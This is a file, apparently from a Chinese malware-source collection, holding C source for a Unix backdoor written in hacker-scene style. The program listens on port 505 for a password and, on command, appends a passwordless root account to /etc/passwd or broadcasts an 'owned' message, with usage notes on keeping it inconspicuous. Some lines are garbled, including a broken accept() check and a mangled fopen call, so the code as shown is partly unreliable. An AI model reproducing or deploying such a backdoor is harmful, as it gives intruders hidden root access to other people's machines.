backdoor病毒源代码.txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

--=\\backdoor.c\\=-- 

        /* 
        A rip off a sockets tutorial i found somewhere cause I didn't feel like 
        writing stupid basic sockets code when I had it in my src directory 
        already.    
        */ 

        /* Greets: 
                Undernet Channels: 
                        #rootworm, #hacktech, #hyperlink, #3xposure, #legionoot 
                Groups: 
                        The LegionOOT (www.legionoot.cc), Team Sploit 
                People: 
                        Cyph3r, n3m0, Adoni, f0bic, d0g, khe0ps, h-S-t, 
                        F-o-X, NeonMatrix, Azmodan, & Venomous 
        /* 

        Usage (setup): 
                # gcc -o backdoor backdoor.c 
                # ./backdoor password & 
        Usage (using): 
                telnet to host (port 505) --> type the password (don't wait for a 
                prompt, there isn't one so its less obvious its a backdoor) --> 
                type 1or 2.  And yes it's _supposed_ to disconnect you after 
                each command. 
        */ 

                #include <stdio.h> 
                #include <stdlib.h> 
                #include <errno.h> 
                #include <string.h> 
                #include <sys/types.h> 
                #include <netinet/in.h> 
                #include <sys/socket.h> 
                #include <sys/wait.h> 
        #define PORT 505 
        #define MAXDATASIZE 100 
        #define BACKLOG 10 

        void handle(char *command); 
        int main(int argc, char *argv[]) 
        { 
        int sockfd, new_fd, sin_size, numbytes; 
        char *bytes; 
        struct sockaddr_in my_addr; 
        struct sockaddr_in their_addr; 

        char buf[MAXDATASIZE]; 
        char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to 
        send '7h1s b0x 1s 0wn3d' to all people on the box: "; 
                if (argc != 2) { 
                        fprintf(stderr,"Usage: %s password\n", argv[0]); 
                        exit(1); 
                } 
                if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
                        perror("socket"); 
                        exit(1); 
                } 
                my_addr.sin_family = AF_INET; 
                my_addr.sin_port = htons(PORT); 
                my_addr.sin_addr.s_addr = INADDR_ANY; 
                if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) 
                { 
                        perror("bind"); 
                        exit(1); 
                } 
                                if (listen(sockfd, BACKLOG) == -1) { 
                                        perror("listen"); 
                                        exit(1); 

                  } 

                        while(1) {  /* main accept() loop */ 

                                        sin_size = sizeof(struct sockaddr_in); 
                                if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \ 
                                                                                                                                                         &sin_size)) == 
        { 
                                         perror("accept"); 
                                         continue; 
                                } 

        inet_ntoa(their_addr.sin_addr); 
                                if (!fork()) { 
                                         recv(new_fd, buf, 
        MAXDATASIZE, 0); 
                                bytes = strstr(buf, argv[1]); 


        if (bytes != NULL){ 

                                        send(new_fd, ask, sizeof(ask), 0); 

                                        numbytes=recv(new_fd, buf, 
        MAXDATASIZE, 0); 
                                        buf[numbytes] = '\0'; 
                                        handle(buf); 
                                         } 
                                         close(new_fd); 
                                         exit(0); 
                                } 
                                close(new_fd); 

                                while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child 
        processes */ 
                 } 
        } 

                void handle(char *command) 
                { 
                FILE *fle; 
                if(strstr(command, "1") != NULL) 
        { 
                fle = f0/*n("/etc/passwd", "a*/; 
                fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash"); 
                fclose(fle); 
        } 
                if(strstr(command, "2") != NULL) 
        { 
                system("wall 7h1s b0x 1s 0wn3d"); 
        } 
        } 

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